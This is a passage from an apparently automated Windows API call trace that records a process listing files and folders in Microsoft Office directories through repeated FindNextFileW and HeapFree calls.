lpFindFileData=0x2f7eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4befc00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4befc00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x26a58c7d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x77e88, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EXPSRV.DLL", cAlternateFileName="")) returned 1 [0290.010] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f520e0 | out: hHeap=0x730000) returned 1 [0290.010] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7e918 | out: lpFindFileData=0x2f7e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef915def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8f6526, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.en-us", cAlternateFileName="OFFICE~1.EN-")) returned 0 [0290.010] FindClose (in: hFindFile=0x3e81be8 | out: hFindFile=0x3e81be8) returned 1 [0290.010] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.010] FindNextFileW (in: hFindFile=0x3e81e68, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0fbc434, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0fbc434, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf10a1263, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2c40, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="OFFREL.DLL", cAlternateFileName="")) returned 1 [0290.011] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0290.011] FindNextFileW (in: hFindFile=0x3e82028, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8d02b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8d02b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROOF", cAlternateFileName="")) returned 1 [0290.012] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0290.012] FindNextFileW (in: hFindFile=0x3e82028, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc576616a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26bd6427, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bd6427, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Smart Tag", cAlternateFileName="SMARTT~1")) returned 1 [0290.013] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.013] FindNextFileW (in: hFindFile=0x3e81da8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc62081b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc62081b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc62081b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1bac0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="FBIBLIO.DLL", cAlternateFileName="")) returned 1 [0290.013] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f520e0 | out: hHeap=0x730000) returned 1 [0290.014] FindNextFileW (in: hFindFile=0x3e819a8, lpFindFileData=0x2f7e918 | out: lpFindFileData=0x2f7e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x26bd6427, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bd6427, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 1 [0290.014] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.014] FindNextFileW (in: hFindFile=0x3e81da8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7beb2bc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7beb2bc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1cec0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="METCONV.DLL", cAlternateFileName="")) returned 1 [0290.014] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0290.014] FindNextFileW (in: hFindFile=0x3e82028, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0ed7602, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0ed7602, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0ed7602, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0290.014] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0290.014] FindNextFileW (in: hFindFile=0x3e82028, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5f76153, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TEXTCONV", cAlternateFileName="")) returned 1 [0290.014] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f320d0 | out: hHeap=0x730000) returned 1 [0290.014] FindNextFileW (in: hFindFile=0x3e82028, lpFindFileData=0x2f7ee10 | out: lpFindFileData=0x2f7ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES16", cAlternateFileName="")) returned 1 [0290.015] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.015] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ARCTIC", cAlternateFileName="")) returned 1 [0290.015] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.015] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="AXIS", cAlternateFileName="")) returned 1 [0290.016] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.016] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a96da3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27a96da3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BLENDS", cAlternateFileName="")) returned 1 [0290.016] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.016] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a70c44, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27a70c44, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BLUECALM", cAlternateFileName="")) returned 1 [0290.016] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.016] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BLUEPRNT", cAlternateFileName="")) returned 1 [0290.017] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.017] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BOLDSTRI", cAlternateFileName="")) returned 1 [0290.017] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.017] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BREEZE", cAlternateFileName="")) returned 1 [0290.018] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.018] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CANYON", cAlternateFileName="")) returned 1 [0290.018] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.018] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CAPSULES", cAlternateFileName="")) returned 1 [0290.018] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.018] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CASCADE", cAlternateFileName="")) returned 1 [0290.019] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.019] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="COMPASS", cAlternateFileName="")) returned 1 [0290.019] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.019] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="CONCRETE", cAlternateFileName="")) returned 1 [0290.019] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.019] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="DEEPBLUE", cAlternateFileName="")) returned 1 [0290.019] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.019] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ECHO", cAlternateFileName="")) returned 1 [0290.020] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.020] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ECLIPSE", cAlternateFileName="")) returned 1 [0290.020] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.020] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EDGE", cAlternateFileName="")) returned 1 [0290.020] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.020] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b2f705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b2f705, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EVRGREEN", cAlternateFileName="")) returned 1 [0290.021] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.021] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b2f705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b2f705, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EXPEDITN", cAlternateFileName="")) returned 1 [0290.021] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.021] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ba1ded, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ba1ded, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ICE", cAlternateFileName="")) returned 1 [0290.021] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.021] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="INDUST", cAlternateFileName="")) returned 1 [0290.021] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.021] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b7bb91, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b7bb91, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="IRIS", cAlternateFileName="")) returned 1 [0290.022] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.022] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="JOURNAL", cAlternateFileName="")) returned 1 [0290.022] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.022] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b7bb91, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ba1ded, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ba1ded, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="LAYERS", cAlternateFileName="")) returned 1 [0290.022] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.022] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27b7bb91, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="LEVEL", cAlternateFileName="")) returned 1 [0290.022] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.022] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="NETWORK", cAlternateFileName="")) returned 1 [0290.023] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.023] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PAPYRUS", cAlternateFileName="")) returned 1 [0290.023] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.023] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PIXEL", cAlternateFileName="")) returned 1 [0290.023] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3f420d8 | out: hHeap=0x730000) returned 1 [0290.023] FindNextFileW (in: hFindFile=0x3e81be8, lpFindFileData=0x2f7eb94 | out: lpFindFileData=0x2f7eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27bc8052, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bc8052, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bc8052, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, 